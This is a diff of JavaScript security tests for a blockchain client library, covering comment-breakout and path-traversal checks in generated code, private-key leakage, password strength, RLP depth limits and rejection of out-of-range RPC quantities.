assert.ok(src.includes("* /"), `[${lang}] escaped terminator should be present`);
|
|
144
|
+
// Belt-and-suspenders: every '*/' in the file must be a real JSDoc close,
|
|
145
|
+
// i.e. it is the last non-space token on its line (' */').
|
|
146
|
+
for (const line of src.split(/\r?\n/g)) {
|
|
147
|
+
const idx = line.indexOf("*/");
|
|
148
|
+
if (idx !== -1) {
|
|
149
|
+
assert.match(line.trimEnd(), /\*\/$/, `unexpected mid-line */ (possible breakout): ${line}`);
|
|
150
|
+
}
|
|
151
|
+
}
|
|
152
|
+
}
|
|
153
|
+
});
|
|
154
|
+
|
|
155
|
+
it("renders a benign NatSpec doc normally (positive)", () => {
|
|
156
|
+
logTest("renders a benign NatSpec doc normally", {});
|
|
157
|
+
const abi = [{ type: "function", name: "transfer", stateMutability: "nonpayable", inputs: [], outputs: [] }];
|
|
158
|
+
const docs = { contract: "Transfers tokens between accounts.", functions: { transfer: "Moves amount to recipient." } };
|
|
159
|
+
const res = generateFromArtifacts({
|
|
160
|
+
outDir: _tmpOut(),
|
|
161
|
+
lang: "ts",
|
|
162
|
+
artifacts: [{ contractName: "Doc", abi, bytecode: "0x00", docs }],
|
|
163
|
+
});
|
|
164
|
+
const src = fs.readFileSync(res.contracts[0].contractFile, "utf8");
|
|
165
|
+
assert.ok(src.includes("* Transfers tokens between accounts."), "benign contract doc should render");
|
|
166
|
+
assert.ok(src.includes("* Moves amount to recipient."), "benign function doc should render");
|
|
167
|
+
});
|
|
168
|
+
|
|
169
|
+
it("generates valid output and preserves legitimate identifiers (positive)", () => {
|
|
170
|
+
logTest("generates valid output and preserves legitimate identifiers (positive)", {});
|
|
171
|
+
const tmp = fs.mkdtempSync(path.join(os.tmpdir(), "qcgen-ok-"));
|
|
172
|
+
const abiPath = path.join(tmp, "Test.abi.json");
|
|
173
|
+
const binPath = path.join(tmp, "Test.bin");
|
|
174
|
+
const outDir = path.join(tmp, "out");
|
|
175
|
+
const abi = [
|
|
176
|
+
{
|
|
177
|
+
type: "function",
|
|
178
|
+
name: "balanceOf",
|
|
179
|
+
stateMutability: "view",
|
|
180
|
+
inputs: [{ name: "account", type: "address" }],
|
|
181
|
+
outputs: [{ name: "", type: "uint256" }],
|
|
182
|
+
},
|
|
183
|
+
];
|
|
184
|
+
fs.writeFileSync(abiPath, JSON.stringify(abi), "utf8");
|
|
185
|
+
fs.writeFileSync(binPath, "0x6000", "utf8");
|
|
186
|
+
const res = generate({ abiPath, binPath, outDir, contractName: "TestToken" });
|
|
187
|
+
const src = fs.readFileSync(res.contractFile, "utf8");
|
|
188
|
+
assert.ok(src.includes("export class TestToken"));
|
|
189
|
+
assert.ok(src.includes("async balanceOf"));
|
|
190
|
+
// All generated files must live inside outDir (no traversal).
|
|
191
|
+
for (const f of [res.contractFile, res.factoryFile, res.typesFile, res.indexFile]) {
|
|
192
|
+
assert.ok(path.resolve(f).startsWith(path.resolve(outDir)), `${f} must be inside outDir`);
|
|
193
|
+
}
|
|
194
|
+
});
|
|
195
|
+
});
|
|
@@ -3,7 +3,6 @@
|
|
|
3
3
|
* @blockchainRequired false
|
|
4
4
|
* @transactional false
|
|
5
5
|
* @description Security tests for malformed input, edge cases, and invalid values.
|
|
6
|
-
* Covers all findings from the consolidated security audit.
|
|
7
6
|
* Run with VERBOSE=1 for test names.
|
|
8
7
|
*/
|
|
9
8
|
|
|
@@ -36,8 +35,8 @@ describe("Security: Malformed Input", () => {
|
|
|
36
35
|
});
|
|
37
36
|
});
|
|
38
37
|
|
|
39
|
-
describe("Security:
|
|
40
|
-
logSuite("Security:
|
|
38
|
+
describe("Security: Private key enumeration protection", () => {
|
|
39
|
+
logSuite("Security: Private key enumeration protection");
|
|
41
40
|
|
|
42
41
|
it("JSON.stringify(wallet) must NOT contain privateKey or seed", async () => {
|
|
43
42
|
logTest("JSON.stringify(wallet) must NOT contain privateKey or seed", {});
|
|
@@ -79,8 +78,8 @@ describe("Security: C1 - Private key enumeration protection", () => {
|
|
|
79
78
|
});
|
|
80
79
|
});
|
|
81
80
|
|
|
82
|
-
describe("Security:
|
|
83
|
-
logSuite("Security:
|
|
81
|
+
describe("Security: Wallet.connect() preserves state", () => {
|
|
82
|
+
logSuite("Security: Wallet.connect() preserves state");
|
|
84
83
|
|
|
85
84
|
it("connect() preserves seed", async () => {
|
|
86
85
|
logTest("connect() preserves seed", {});
|
|
@@ -96,8 +95,8 @@ describe("Security: C3 - Wallet.connect() preserves state", () => {
|
|
|
96
95
|
});
|
|
97
96
|
});
|
|
98
97
|
|
|
99
|
-
describe("Security:
|
|
100
|
-
logSuite("Security:
|
|
98
|
+
describe("Security: KDF string password handling", () => {
|
|
99
|
+
logSuite("Security: KDF string password handling");
|
|
101
100
|
|
|
102
101
|
it("pbkdf2 with plain string password does not crash", async () => {
|
|
103
102
|
logTest("pbkdf2 with plain string password does not crash", {});
|
|
@@ -121,8 +120,8 @@ describe("Security: C4 - KDF string password handling", () => {
|
|
|
121
120
|
});
|
|
122
121
|
});
|
|
123
122
|
|
|
124
|
-
describe("Security:
|
|
125
|
-
logSuite("Security:
|
|
123
|
+
describe("Security: Numeric precision in signTransaction", () => {
|
|
124
|
+
logSuite("Security: Numeric precision in signTransaction");
|
|
126
125
|
|
|
127
126
|
it("rejects number value above MAX_SAFE_INTEGER", async () => {
|
|
128
127
|
logTest("rejects number value above MAX_SAFE_INTEGER", {});
|
|
@@ -157,8 +156,8 @@ describe("Security: H2 - Numeric precision in signTransaction", () => {
|
|
|
157
156
|
});
|
|
158
157
|
});
|
|
159
158
|
|
|
160
|
-
describe("Security:
|
|
161
|
-
logSuite("Security:
|
|
159
|
+
describe("Security: Password strength enforcement", () => {
|
|
160
|
+
logSuite("Security: Password strength enforcement");
|
|
162
161
|
|
|
163
162
|
it("encryptSync rejects password shorter than 12 characters", async () => {
|
|
164
163
|
logTest("encryptSync rejects password shorter than 12 characters", {});
|
|
@@ -177,8 +176,8 @@ describe("Security: M3 - Password strength enforcement", () => {
|
|
|
177
176
|
});
|
|
178
177
|
});
|
|
179
178
|
|
|
180
|
-
describe("Security:
|
|
181
|
-
logSuite("Security:
|
|
179
|
+
describe("Security: Message signing removed", () => {
|
|
180
|
+
logSuite("Security: Message signing removed");
|
|
182
181
|
|
|
183
182
|
it("hashMessage is not exported", () => {
|
|
184
183
|
logTest("hashMessage is not exported", {});
|
|
@@ -201,8 +200,8 @@ describe("Security: M4 - Message signing removed", () => {
|
|
|
201
200
|
});
|
|
202
201
|
});
|
|
203
202
|
|
|
204
|
-
describe("Security:
|
|
205
|
-
logSuite("Security:
|
|
203
|
+
describe("Security: Error messages do not leak secrets", () => {
|
|
204
|
+
logSuite("Security: Error messages do not leak secrets");
|
|
206
205
|
|
|
207
206
|
it("fromKeys error does not contain actual key bytes", async () => {
|
|
208
207
|
logTest("fromKeys error does not contain actual key bytes", {});
|
|
@@ -218,8 +217,8 @@ describe("Security: M6 - Error messages do not leak secrets", () => {
|
|
|
218
217
|
});
|
|
219
218
|
});
|
|
220
219
|
|
|
221
|
-
describe("Security:
|
|
222
|
-
logSuite("Security:
|
|
220
|
+
describe("Security: _hexToBigInt handles '0x'", () => {
|
|
221
|
+
logSuite("Security: _hexToBigInt handles '0x'");
|
|
223
222
|
|
|
224
223
|
it("getBalance does not crash on '0x' response", async () => {
|
|
225
224
|
logTest("getBalance does not crash on '0x' response", {});
|
|
@@ -227,8 +226,8 @@ describe("Security: M7 - _hexToBigInt handles '0x'", () => {
|
|
|
227
226
|
});
|
|
228
227
|
});
|
|
229
228
|
|
|
230
|
-
describe("Security:
|
|
231
|
-
logSuite("Security:
|
|
229
|
+
describe("Security: RLP depth limit", () => {
|
|
230
|
+
logSuite("Security: RLP depth limit");
|
|
232
231
|
|
|
233
232
|
it("rejects deeply nested RLP (depth > 64)", () => {
|
|
234
233
|
logTest("rejects deeply nested RLP (depth > 64)", {});
|
|
@@ -248,8 +247,8 @@ describe("Security: L3 - RLP depth limit", () => {
|
|
|
248
247
|
});
|
|
249
248
|
});
|
|
250
249
|
|
|
251
|
-
describe("Security:
|
|
252
|
-
logSuite("Security:
|
|
250
|
+
describe("Security: Seed phrase with invalid words", () => {
|
|
251
|
+
logSuite("Security: Seed phrase with invalid words");
|
|
253
252
|
|
|
254
253
|
it("rejects gibberish words of correct count", async () => {
|
|
255
254
|
logTest("rejects gibberish words of correct count", {});
|
|
@@ -269,8 +268,8 @@ describe("Security: M2 - Seed phrase with invalid words", () => {
|
|
|
269
268
|
});
|
|
270
269
|
});
|
|
271
270
|
|
|
272
|
-
describe("Security:
|
|
273
|
-
logSuite("Security:
|
|
271
|
+
describe("Security: Keccak-256 test vectors", () => {
|
|
272
|
+
logSuite("Security: Keccak-256 test vectors");
|
|
274
273
|
|
|
275
274
|
it("keccak256 of empty bytes matches known digest", async () => {
|
|
276
275
|
logTest("keccak256 of empty bytes matches known digest", {});
|
|
@@ -293,8 +292,8 @@ describe("Security: L6 - Keccak-256 test vectors", () => {
|
|
|
293
292
|
});
|
|
294
293
|
});
|
|
295
294
|
|
|
296
|
-
describe("Security:
|
|
297
|
-
logSuite("Security:
|
|
295
|
+
describe("Security: BigInt in provider params", () => {
|
|
296
|
+
logSuite("Security: BigInt in provider params");
|
|
298
297
|
|
|
299
298
|
it("JsonRpcProvider serializes BigInt params without crashing", async (t) => {
|
|
300
299
|
logTest("JsonRpcProvider serializes BigInt params without crashing", {});
|
|
@@ -318,8 +317,8 @@ describe("Security: H5 - BigInt in provider params", () => {
|
|
|
318
317
|
});
|
|
319
318
|
});
|
|
320
319
|
|
|
321
|
-
describe("Security:
|
|
322
|
-
logSuite("Security:
|
|
320
|
+
describe("Security: Per-instance RPC IDs", () => {
|
|
321
|
+
logSuite("Security: Per-instance RPC IDs");
|
|
323
322
|
|
|
324
323
|
it("different provider instances have independent ID counters", () => {
|
|
325
324
|
logTest("different provider instances have independent ID counters", {});
|
|
@@ -0,0 +1,81 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* @testCategory security
|
|
3
|
+
* @blockchainRequired false
|
|
4
|
+
* @transactional false
|
|
5
|
+
* @description RPC quantities are untrusted. A value above
|
|
6
|
+
* Number.MAX_SAFE_INTEGER must fail loudly instead of being silently
|
|
7
|
+
* truncated by Number(BigInt(...)). The decoder keeps returning a
|
|
8
|
+
* `number` (no signature change); only out-of-range values throw.
|
|
9
|
+
*/
|
|
10
|
+
|
|
11
|
+
const { describe, it } = require("node:test");
|
|
12
|
+
const assert = require("node:assert/strict");
|
|
13
|
+
|
|
14
|
+
const { Initialize } = require("../../config");
|
|
15
|
+
const qc = require("../../index");
|
|
16
|
+
const { logSuite, logTest } = require("../verbose-logger");
|
|
17
|
+
|
|
18
|
+
// 2^53 = 9007199254740992 = one past Number.MAX_SAFE_INTEGER.
|
|
19
|
+
const UNSAFE_HEX = "0x20000000000000";
|
|
20
|
+
const TX_HASH = "0x" + "aa".repeat(32);
|
|
21
|
+
|
|
22
|
+
class NumProvider extends qc.AbstractProvider {
|
|
23
|
+
constructor(map) {
|
|
24
|
+
super();
|
|
25
|
+
this._map = map;
|
|
26
|
+
}
|
|
27
|
+
async _perform(method) {
|
|
28
|
+
return Object.prototype.hasOwnProperty.call(this._map, method) ? this._map[method] : null;
|
|
29
|
+
}
|
|
30
|
+
}
|
|
31
|
+
|
|
32
|
+
describe("Security: untrusted RPC quantity bounds", () => {
|
|
33
|
+
logSuite("Security: untrusted RPC quantity bounds");
|
|
34
|
+
|
|
35
|
+
it("getBlockNumber throws for a value above MAX_SAFE_INTEGER (negative)", async () => {
|
|
36
|
+
logTest("getBlockNumber rejects an out-of-range quantity", {});
|
|
37
|
+
await Initialize(null);
|
|
38
|
+
const p = new NumProvider({ eth_blockNumber: UNSAFE_HEX });
|
|
39
|
+
await assert.rejects(() => p.getBlockNumber(), /safe integer range/i);
|
|
40
|
+
});
|
|
41
|
+
|
|
42
|
+
it("getBlock throws when block.number exceeds MAX_SAFE_INTEGER (negative)", async () => {
|
|
43
|
+
logTest("getBlock rejects an out-of-range block number", {});
|
|
44
|
+
await Initialize(null);
|
|
45
|
+
const p = new NumProvider({
|
|
46
|
+
eth_getBlockByNumber: { hash: "0x" + "11".repeat(32), number: UNSAFE_HEX, timestamp: "0x1", transactions: [] },
|
|
47
|
+
});
|
|
48
|
+
await assert.rejects(() => p.getBlock("latest"), /safe integer range/i);
|
|
49
|
+
});
|
|
50
|
+
|
|
51
|
+
it("getTransactionReceipt throws when a quantity exceeds MAX_SAFE_INTEGER (negative)", async () => {
|
|
52
|
+
logTest("getTransactionReceipt rejects an out-of-range quantity", {});
|
|
53
|
+
await Initialize(null);
|
|
54
|
+
const p = new NumProvider({
|
|
55
|
+
eth_getTransactionReceipt: { transactionHash: TX_HASH, blockNumber: UNSAFE_HEX, status: "0x1" },
|
|
56
|
+
});
|
|
57
|
+
await assert.rejects(() => p.getTransactionReceipt(TX_HASH), /safe integer range/i);
|
|
58
|
+
});
|
|
59
|
+
|
|
60
|
+
it("decodes normal in-range quantities to the correct number (positive)", async () => {
|
|
61
|
+
logTest("decodes in-range quantities correctly", {});
|
|
62
|
+
await Initialize(null);
|
|
63
|
+
const p = new NumProvider({
|
|
64
|
+
eth_blockNumber: "0x10",
|
|
65
|
+
eth_getTransactionReceipt: {
|
|
66
|
+
transactionHash: TX_HASH,
|
|
67
|
+
blockNumber: "0x5",
|
|
68
|
+
transactionIndex: "0x0",
|
|
69
|
+
status: "0x1",
|
|
70
|
+
},
|
|
71
|
+
});
|
|
72
|
+
const bn = await p.getBlockNumber();
|
|
73
|
+
assert.equal(bn, 16);
|
|
74
|
+
assert.equal(typeof bn, "number");
|
|
75
|
+
|
|
76
|
+
const receipt = await p.getTransactionReceipt(TX_HASH);
|
|
77
|
+
assert.equal(receipt.blockNumber, 5);
|
|
78
|
+
assert.equal(typeof receipt.blockNumber, "number");
|
|
79
|
+
assert.equal(receipt.status, 1);
|
|
80
|
+
});
|
|
81
|
+
});
|